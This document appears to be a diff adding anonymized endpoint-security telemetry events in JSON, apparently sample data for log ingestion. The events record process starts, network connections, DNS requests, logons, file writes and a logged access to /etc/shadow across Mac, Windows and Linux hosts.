+{"event_simpleName":"NeighborListIP6","ConfigStateHash":"3090255842","NeighborList":"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP6MacV1","id":"ffffffff-1111-11eb-ac8a-06b5e1186139","EffectiveTransmissionClass":"3","aid":"ffffffff01c7450180352a7c58a28fb4","timestamp":"1625677489786","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677382.785","UserName":"user3","ConfigStateHash":"1325353086","ContextProcessId":"364952259879648742","Size":"8052","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6","FileIdentifier":"04000001000000000000000000000000ef07570000000000","ConfigBuild":"1007.4.0013806.1","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"15","name":"NewScriptWrittenMacV3","id":"ffffffff-1111-11eb-9dc1-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffffcebd42c0890d59b54279d3d3","timestamp":"1625677383057","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh"}
+{"event_simpleName":"SystemCapacity","ConfigStateHash":"1620585913","aip":"67.43.156.13","CpuClockSpeed":"2400000000","PhysicalCoreCount":"8","CpuFeaturesMask":"7494065083908067","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LogicalCoreCount":"16","Entitlements":"15","name":"SystemCapacityMacV1","CpuVendor":"0","CpuProcessorName":"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz","id":"ffffffff-1111-11eb-b714-066001392751","CpuSignature":"591597","EffectiveTransmissionClass":"3","aid":"fffffffff2c7432859ff6bbe1a0bd6af","ProcessorPackageCount":"1","MemoryTotal":"17179869184","timestamp":"1625677387216","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"FirmwareAnalysisStatus","ConfigStateHash":"3090255842","FirmwareAnalysisEclControlInterfaceVersion":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","FirmwareAnalysisEclConsumerInterfaceVersion":"0","BootTimeFunctionalityLevel":"255","ReasonOfFunctionalityLevel":"3","CurrentFunctionalityLevel":"2","Entitlements":"15","name":"FirmwareAnalysisStatusMacV2","id":"ffffffff-1111-11eb-ba57-0214a0d89bf7","EffectiveTransmissionClass":"0","aid":"ffffffff0d7b4d839912e55b4755e85b","timestamp":"1625677368429","cid":"ffffffff15754bcfb5f9152ec7ac90ac","PciAttachmentState":"65535"}
+{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.13","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"utun2","InDiscards":"0","InterfaceIndex":"17","event_platform":"Mac","InterfaceType":"1","id":"ffffffff-1111-11eb-a272-0294ad12fbe7","PhysicalAddressLength":"0","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677504544","LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"3090255842","PhysicalAddress":"","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressIP4MacV1","aid":"ffffffff557f4b99a0afdea9ce8cd6fa","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"CommandLine":"uname -a","ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","Entitlements":"15","GID":"0","ImageFileName":"/bin/uname","MD5HashData":"894356eb59e279696c304f07091b7fde","NDRoot":"321385814512398584","ParentProcessId":"321385814512398584","ProcessEndTime":"1604855099.126","ProcessGroupId":"0","ProcessStartTime":"1604855099.126","RGID":"0","RUID":"0","RawProcessId":"51342","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa","SVGID":"0","SVUID":"0","SessionProcessId":"314116638974342642","SourceProcessId":"321385814512398584","SourceThreadId":"0","TargetProcessId":"321385814512398605","UID":"0","aid":"ffffffff70d140ca9ba97f0dddd14137","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-ac87-06decddc17a1","name":"ProcessRollup2LinV5","timestamp":"1604855099681"}
+{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"317713210176499254","ContextThreadId":"0","ContextTimeStamp":"1604855096.730","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"28987","SHA256HashData":"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"317713210176499254","aid":"ffffffff75fc48f15cfe5f095e605c4c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-809e-02fff4e55a49","name":"EndOfProcessMacV14","timestamp":"1604855099646"}
+{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"38188","ConHostProcessId":"3099352216141","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextData":"","ContextProcessId":"3100508103359","ContextThreadId":"93436292950223","ContextTimeStamp":"1604855097.926","CreateProcessCount":"0","CycleTime":"2937514388","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"1","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"2","GenericFileWrittenCount":"0","ImageSubsystem":"3","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"7500000","MaxThreadCount":"4","ModuleLoadCount":"38","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"3099350649383","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855096.463","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"33016","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"3100508103359","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-5-18","UserTime":"6406250","aid":"ffffffffb5db4b2e7ec89aba537adcc2","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"EndOfProcessV15","timestamp":"1604855099935"}
+{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","ContextProcessId":"311775981885093125","ContextThreadId":"0","ContextTimeStamp":"1604855101.341","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"10507","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"311775981885093125","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"EndOfProcessMacV12","timestamp":"1604855100139"}
+{"AuthenticationId":"999","CommandLine":"D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe","ImageSubsystem":"3","IntegrityLevel":"16384","MD5HashData":"571391f723a439e985a2064337e2802a","ParentAuthenticationId":"999","ParentBaseFileName":"splunkd.exe","ParentProcessId":"17346335177","ProcessCreateFlags":"67634688","ProcessEndTime":"","ProcessParameterFlags":"24577","ProcessStartTime":"1604855099.406","ProcessSxsFlags":"64","RawProcessId":"6116","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720","SessionId":"0","SourceProcessId":"17346335177","SourceThreadId":"107650023406","Tags":"27, 151, 12094627905582, 12094627906234","TargetProcessId":"583707537390","TokenType":"1","UserSid":"S-1-5-18","WindowFlags":"384","aid":"ffffffff3a5a424fa02450da53619745","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-a09e-06f79d630255","name":"ProcessRollup2V17","timestamp":"1604855100030"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2784638081","ContextProcessId":"259090530891","ContextThreadId":"16409623709004","ContextTimeStamp":"1604855095.961","DnsRequestCount":"1","DomainName":"comp1.dom2","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff4f1444bab96568879cb43556","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DnsRequest","id":"ffffffff-1111-11eb-8077-0606f7dcf2ed","name":"DnsRequestV3","timestamp":"1604855099913"}
+{"ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","ContextProcessId":"321385820045701199","ContextThreadId":"0","ContextTimeStamp":"1604855101.645","Entitlements":"15","GID":"0","TargetFileName":"/etc/shadow","UID":"0","UnixMode":"32768","aid":"ffffffff32ba43a483e76c6f0a4aa26f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"CriticalFileAccessed","id":"ffffffff-1111-11eb-b70d-027f9ced2001","name":"CriticalFileAccessedLinV1","timestamp":"1604855102247"}
+{"CommandLine":"/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","Entitlements":"15","GID":"0","ImageFileName":"/usr/bin/plutil","MD5HashData":"d51cef1b288e2032aee9805deff04bfd","MachOSubType":"1","ParentProcessId":"311774817965726568","ProcessEndTime":"","ProcessGroupId":"311774817965726568","ProcessStartTime":"1604855111.240","RGID":"0","RUID":"0","RawProcessId":"10692","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SVGID":"0","SVUID":"0","SourceProcessId":"311776004953765502","SourceThreadId":"0","Tags":"27, 12094627905582, 12094627906234","TargetProcessId":"311776004953765502","UID":"0","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"ProcessRollup2MacV3","timestamp":"1604855109180"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3899738370","ContextProcessId":"1546527409909","ContextThreadId":"4711690090889","ContextTimeStamp":"1604855114.133","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00","FileObject":"18446655033844205120","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"88080484","ShareAccess":"1","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1","aid":"ffffffff8f1e4b77b4dae5debaa1c8bc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewScriptWritten","id":"ffffffff-1111-11eb-80b5-06e11a66e03d","name":"NewScriptWrittenV7","timestamp":"1604855114427"}
+{"ConfigBuild":"1007.4.0012205.1","ConfigStateHash":"1306766522","ConnectionDirection":"1","ConnectionFlags":"0","ContextProcessId":"321275232072440993","ContextTimeStamp":"1604855116.421","Entitlements":"15","InContext":"0","LocalAddressIP4":"0.0.0.0","LocalPort":"0","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"ffffffffd4094240a6b1d12aaf304f4f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-aca9-02683aed2a0d","name":"NetworkConnectIP4MacV5","timestamp":"1604855116502"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2602391615","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"223442259384","ContextTimeStamp":"1604855116.849","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"67.43.156.14","LocalPort":"53961","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"fffffffff000426eb99afaa2ccdcbc17","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-b0eb-06be7616c211","name":"NetworkConnectIP4V5","timestamp":"1604855116942"}
+{"AuthenticationId":"6580764513","AuthenticationPackage":"Negotiate","ClientComputerName":"-","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"816054990879","ContextThreadId":"52913017705957","ContextTimeStamp":"1604855091.781","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"NT AUTHORITY","LogonServer":"","LogonTime":"1604855091.781","LogonType":"9","PasswordLastSet":"","RemoteAccount":"1","UserFlags":"0","UserIsAdmin":"0","UserLogonFlags":"12","UserName":"SYSTEM","UserPrincipal":"user4@dom2","UserSid":"S-1-5-18","aid":"ffffffff8d2e4b4f9b21b40633a8d579","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogon","id":"ffffffff-1111-11eb-a8cf-0649c95cfa1d","name":"UserLogonV8","timestamp":"1604855121077"}
+{"AuthenticationId":"2007206396","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"4415814628770","ContextThreadId":"41392001729898","ContextTimeStamp":"1604855120.785","DiskParentDeviceInstanceId":"PCI\\VEN_1000\u0026DEV_0054\u0026SUBSYS_197615AD\u0026REV_01\\4\u00261f16fef7\u00260\u002600A8","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c","FileObject":"18446708893089967904","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","IsTransactedFile":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","SHA256HashData":"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182","Size":"6144","TargetFileName":"\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll","TokenType":"1","aid":"ffffffff2c47454cba360bc404a607bb","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PeFileWritten","id":"ffffffff-1111-11eb-b091-06f6cca0a049","name":"PeFileWrittenV14","timestamp":"1604855121109"}
+{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","timestamp":"1604855134461"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"537307300","ContextProcessId":"635780922149","ContextThreadId":"9479299143023","ContextTimeStamp":"1604855025.966","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"0e02a8c7ed9d244887cef0409af0e6190030000000001100","FileObject":"18446695174291796544","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"83886176","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe","aid":"ffffffff425942f58382dbb11350eeda","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableWritten","id":"ffffffff-1111-11eb-93cb-067deb43537b","name":"NewExecutableWrittenV1","timestamp":"1604855149643"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"50714198593318","ContextThreadId":"194302491825207","ContextTimeStamp":"1604855150.066","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"59491","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffa51b4acf9dbc1fc273e6145c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"NetworkListenIP4V5","timestamp":"1604855150545"}
+{"ClientComputerName":"com1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"7073822473144","ContextThreadId":"48689911139327","ContextTimeStamp":"1604855152.993","EffectiveTransmissionClass":"2","Entitlements":"15","EtwRawProcessId":"744","EtwRawThreadId":"5304","LogonDomain":"BROADCAST","LogonType":"3","RemoteAddressIP4":"67.43.156.14","Status":"3221225581","SubStatus":"3221225578","UserName":"user5","aid":"ffffffffd8844a59acce5e1f4ad01888","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed2","id":"ffffffff-1111-11eb-a8aa-067029dffccb","name":"UserLogonFailed2V2","timestamp":"1604855154274"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextProcessId":"1838383212125","ContextThreadId":"27242382481217","ContextTimeStamp":"1604855151.534","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff","FileObject":"18446636884348143072","IrpFlags":"1028","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll","aid":"ffffffff4a0946365161093453e596d4","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ExecutableDeleted","id":"ffffffff-1111-11eb-b23b-064dea059649","name":"ExecutableDeletedV3","timestamp":"1604855154670"}
+{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009202.1","ConfigStateHash":"230795414","ContextProcessId":"318137549555284836","ContextThreadId":"0","ContextTimeStamp":"1604855135.209","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"20195","SHA256HashData":"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"318137549555284836","aid":"ffffffffcfe84e8c6a52c4001bd83761","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-ae31-065d76bec0c3","name":"EndOfProcessMacV11","timestamp":"1604855160047"}
+{"ApiReturnValue":"1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"683078218537","ContextTimeStamp":"1604855171.731","EffectiveTransmissionClass":"3","Entitlements":"15","EtwRawProcessId":"19400","EtwRawThreadId":"9384","aid":"ffffffff80984ea8b49d9a53f590c566","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RegisterRawInputDevicesEtw","id":"ffffffff-1111-11eb-a570-0685ba2a382f","name":"RegisterRawInputDevicesEtwV1","timestamp":"1604855173077"}
+{"CompletionEventId":"Event_ChannelDataDownloadCompleteV1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","DownloadPath":"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys","DownloadPort":"443","DownloadServer":"lfodown01-b.cloudsink.net","EffectiveTransmissionClass":"0","Entitlements":"15","TargetFileName":"C-00000013-00000000-00000408.sys","aid":"ffffffffffc94c645268f64fc900213f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"LFODownloadConfirmation","id":"ffffffff-1111-11eb-8ab5-0643392fc75d","name":"LFODownloadConfirmationV1","timestamp":"1604855174018"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"2071361595421","ContextThreadId":"41650430047375","ContextTimeStamp":"1604855146.590","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","FileObject":"18446622606546437424","IrpFlags":"395312","MajorFunction":"6","MinorFunction":"0","NewFileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","OperationFlags":"0","SourceFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll","aid":"ffffffff280b41b956a91e816bd9b9b0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8162-0663305b686f","name":"NewExecutableRenamedV6","timestamp":"1604855177513"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"402097454","ContextProcessId":"66601077523","ContextThreadId":"2500785639062","ContextTimeStamp":"1604855165.213","DesiredAccess":"1048577","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700","FileObject":"18446641334185168032","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"35668001","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU","aid":"ffffffff2c9f4066b0b5f2f00265503c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DirectoryCreate","id":"ffffffff-1111-11eb-9411-06b7c99be087","name":"DirectoryCreateV1","timestamp":"1604855180332"}
+{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextTimeStamp":"1604855196.468","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"949196415400","RpcClientThreadId":"44209361549673","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"wlidsvc","TargetProcessId":"955370934902","TokenType":"1","UserName":"user6","aid":"fffffffffcc4413057adc260e99b0774","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ServiceStarted","id":"ffffffff-1111-11eb-9c98-02c501fe7d81","name":"ServiceStartedV2","timestamp":"1604855196635"}
+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"319255017313886870","ContextTimeStamp":"1604855200.751","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"0","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:1","RemotePort":"2181","aid":"ffffffffed0f41575620ab9fb25ce105","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-81f1-061cdebbd115","name":"NetworkConnectIP6MacV5","timestamp":"1604855200836"}
+{"AuthenticationId":"1656178821","AuthenticationPackage":"Kerberos","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"30254389526587","ContextThreadId":"275230771323179","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"dom1","LogonId":"1656178821","LogonServer":"srv1","LogonTime":"1604855211.249","LogonType":"5","PasswordLastSet":"1530626210.104","RemoteAccount":"1","SessionId":"0","UserCanonical":"","UserFlags":"32","UserIsAdmin":"0","UserLogonFlags":"0","UserName":"user7","UserPrincipal":"user7@dom4.cm","UserSid":"S-1-5-21-606747145-1364589140-725345543-183372","aid":"ffffffff73164cfa9656c4caff8a2a38","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-86e3-02db1faa1327","name":"UserIdentityV2","timestamp":"1604855212031"}
+{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"4193986770","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","ImageSubsystem":"2","IntegrityLevel":"16384","MD5HashData":"8a0a29438052faed8a2532da50455756","ParentAuthenticationId":"999","ParentProcessId":"2881931477041","ProcessCreateFlags":"525324","ProcessEndTime":"","ProcessParameterFlags":"8193","ProcessStartTime":"1604842733.215","ProcessSxsFlags":"64","RawProcessId":"6160","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6","SessionId":"0","SourceProcessId":"2881931477041","SourceThreadId":"70316664105336","Tags":"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297","TargetProcessId":"2882232404222","TokenType":"2","UserSid":"S-1-5-18","WindowFlags":"128","aid":"ffffffffbe8a46386afe80c5ef64d0b5","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-b4f9-06e3a7e5503b","name":"ProcessRollup2V16","timestamp":"1604855237946"}
